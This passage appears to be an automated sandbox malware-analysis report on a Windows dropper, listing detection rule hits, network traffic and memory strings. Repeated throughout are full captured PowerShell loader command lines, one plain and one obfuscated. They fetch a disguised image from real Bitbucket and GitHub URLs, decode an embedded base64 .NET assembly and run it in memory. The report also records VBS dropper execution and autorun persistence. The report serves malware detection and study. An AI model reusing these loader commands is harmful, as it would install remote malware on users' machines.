txt.IkIhcga/sdaolnwod/sfwqeqw/twqewqe/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startInde

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /c 675c87f6bfee1.vbs, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7248, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs" , ProcessId: 7360, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /c 675c87f6bfee1.vbs, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7248, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs" , ProcessId: 7360, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /c 675c87f6bfee1.vbs, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7248, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs" , ProcessId: 7360, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\GdGXG0bnxH.exe, ProcessId: 2404, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.IkIhcga/sdaolnwod/sfwqeqw/twqewqe/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startInde

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /c 675c87f6bfee1.vbs, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7248, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs" , ProcessId: 7360, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /c 675c87f6bfee1.vbs, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7248, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs" , ProcessId: 7360, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sodigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J

Data Obfuscation

Sigma detected: Powershell download and load assembly

Source: Process started

Suricata Signatures

ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:36:24.556728+0100	2049038	1	A Network Trojan was detected	185.199.109.133	443	192.168.2.7	49701	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: GdGXG0bnxH.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

Code function: 4_2_00007FF7E6E830EC GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,GetWindowsDirectoryA,SetCurrentDirectoryA,

4_2_00007FF7E6E830EC

Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.7:49701 version: TLS 1.2

Source: GdGXG0bnxH.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: wextract.pdb source: GdGXG0bnxH.exe
Source:	Binary string: wextract.pdbGCTL source: GdGXG0bnxH.exe
Source:	Binary string: C:\Users\Administrator\source\repos\testpowershell\testpowershell\obj\Debug\testpowershell.pdb source: powershell.exe, 0000000B.00000002.1496797841.0000024985320000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498DFF2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: n.pdb{ source: powershell.exe, 0000000B.00000002.1497283898.0000024986DC9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: s\dll\System.Core.pdbn source: powershell.exe, 0000000B.00000002.1497238738.0000024986D66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Administrator\source\repos\testpowershell\testpowershell\obj\Debug\testpowershell.pdbG_a_ S__CorExeMainmscoree.dll source: powershell.exe, 0000000B.00000002.1496797841.0000024985320000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498DFF2000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

Code function: 4_2_00007FF7E6E8204C FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

4_2_00007FF7E6E8204C

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 185.199.109.133:443 -> 192.168.2.7:49701

Source: global traffic	HTTP traffic detected: GET /jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611 HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /gmedusa135/nano/refs/heads/main/new_img123.jpg HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /eqweqwt/wqeqwfs/downloads/agchIkI.txt HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133
Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133
Source: Joe Sandbox View	IP Address: 185.166.143.50 185.166.143.50

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611 HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /gmedusa135/nano/refs/heads/main/new_img123.jpg HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /eqweqwt/wqeqwfs/downloads/agchIkI.txt HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: bitbucket.org
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: bbuseruploads.s3.amazonaws.com

Source: powershell.exe, 0000000B.00000002.1497423977.000002498E390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bbuseruploads.s3.amazonaws.com
Source: powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bitbucket.org
Source: powershell.exe, 0000000B.00000002.1497423977.0000024987129000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000B.00000002.1497423977.000002498E390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s3-w.us-east-1.amazonaws.com
Source: powershell.exe, 0000000B.00000002.1497423977.000002498DFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000009.00000002.1829289643.00000179CF911000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024986F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000B.00000002.1497423977.000002498DFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000B.00000002.1497423977.0000024987129000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000009.00000002.1829289643.00000179CF97C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1829289643.00000179CF911000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024986F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000B.00000002.1497423977.000002498DFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 0000000B.00000002.1497423977.000002498E5F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: powershell.exe, 0000000B.00000002.1497423977.0000024987323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net
Source: powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net
Source: powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net
Source: powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net
Source: powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;
Source: powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/
Source: powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com
Source: powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/84b86a50-0f03-4f00-a68a-9b48f6a9ad1a/downloads/0d99d38f-9760-
Source: powershell.exe, 0000000B.00000002.1497423977.000002498DFF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987129000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org
Source: powershell.exe, 0000000B.00000002.1497423977.000002498DFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/eqweqwt/wqeqwfs/downloads/agchIkI.txt
Source: powershell.exe, 00000009.00000002.1829289643.00000179CFEC7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1875470963.00000179E7FF1000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1496285390.0000024985080000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497143877.0000024986D57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1496870841.00000249853A4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987129000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497066916.0000024986CF0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024986F01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498E51A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1496285390.00000249850A1000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1496372407.0000024985106000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611
Source: powershell.exe, 0000000B.00000002.1497423977.0000024987323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: powershell.exe, 0000000B.00000002.1497423977.0000024987323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: powershell.exe, 0000000B.00000002.1497423977.0000024987129000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000B.00000002.1497423977.000002498E5F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000000B.00000002.1497143877.0000024986D3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ion=v4.5
Source: powershell.exe, 0000000B.00000002.1497423977.0000024987308000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 00000009.00000002.1829289643.00000179CFEC7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1875470963.00000179E7FF1000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1496285390.0000024985080000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497143877.0000024986D57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1496870841.00000249853A4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987129000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497066916.0000024986CF0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024986F01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498E51A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1496285390.00000249850A1000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1496372407.0000024985106000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg
